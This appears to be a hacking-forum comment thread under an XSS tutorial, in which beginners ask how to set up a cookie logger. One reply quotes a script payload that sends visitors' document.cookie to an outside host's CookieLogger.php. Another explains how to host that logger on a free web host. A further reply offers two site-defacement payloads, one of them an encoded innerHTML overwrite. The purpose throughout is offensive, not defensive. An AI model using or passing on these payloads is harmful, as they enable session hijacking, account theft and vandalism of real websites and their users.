[Anima Templi]

I do not use one of them either, why not create a skype account?

i never use VoIP, and no need of using it at the moment...

I respect that. Hit me with a PM if you have questions then.

[blackrosevn]

very detail and helpful. thanks!

[Anima Templi]

Your welcome! I am glad that you found this useful.

[3r3bus]

I do not use one of them either, why not create a skype account?

i never use VoIP, and no need of using it at the moment...

Skype isn't just for voice chat, I hardly use it for voice chat anyway.
You can live chat on skype.

[babinjames87]

hello Anima Templi i have try to get you on skype but your offline please can you please contact me when you are online on skype
thanks

[Anima Templi]

hello Anima Templi i have try to get you on skype but your offline please can you please contact me when you are online on skype
thanks

I am really bussy atm. I have two really large projects, but i will try to be as active and online as possible.

thx4 dis tut...................................................

Your welcome sir, i hope this has explained and tought you the basics of xss.

[hackboy]

I didnt understand this part: This is the script you shall add to your xss vulnerability:

Code:
<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>

can u explain me pls by PM thanks

[apmahmad]

First of setup an account on a free hosting service. Personally i find http://www.000webhost.com as the best. Once you done that create a file on the root folder and call it CookieLogger.txt leave the text file empty. It is in that file the cookie logger will save the cookies it logs. Now create another file called CookieLogger.php remember the extension .php . In that file insert this code:
first i setup an account ok
what is root folder?
do u mean to go to the control panel and press file manger and upload the two files?
sorry cause iam abegginer help

[Hackthebeans]

Root folder is where you keep your files like index.html etc , the root normally is the main folder where you upload files for your websites and for 000webhost it will be folder called public_html so you just upload the website/script on there and that's it.

Nice tutorial I just start learning about xss and this is very helpful for me, easy and simple ! Thanks

[RogueCoder]

Thanks for a great tutorial @Anima Templi Really well explained. I just wanted to mention a method to deface which doesn't require you to relocate the user.

Instead of this

Code:

<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>

... you can do this ...

Code:

<script>document.documentElement.innerHTML = unescape('%74%68%69%73%20%70%61%67%65%20%68%61%73%20%62%65%65%6e%20%64%65%66%61%63%65%64');</script>

You don't have to use unescape() but it's a good way to inject a styled deface page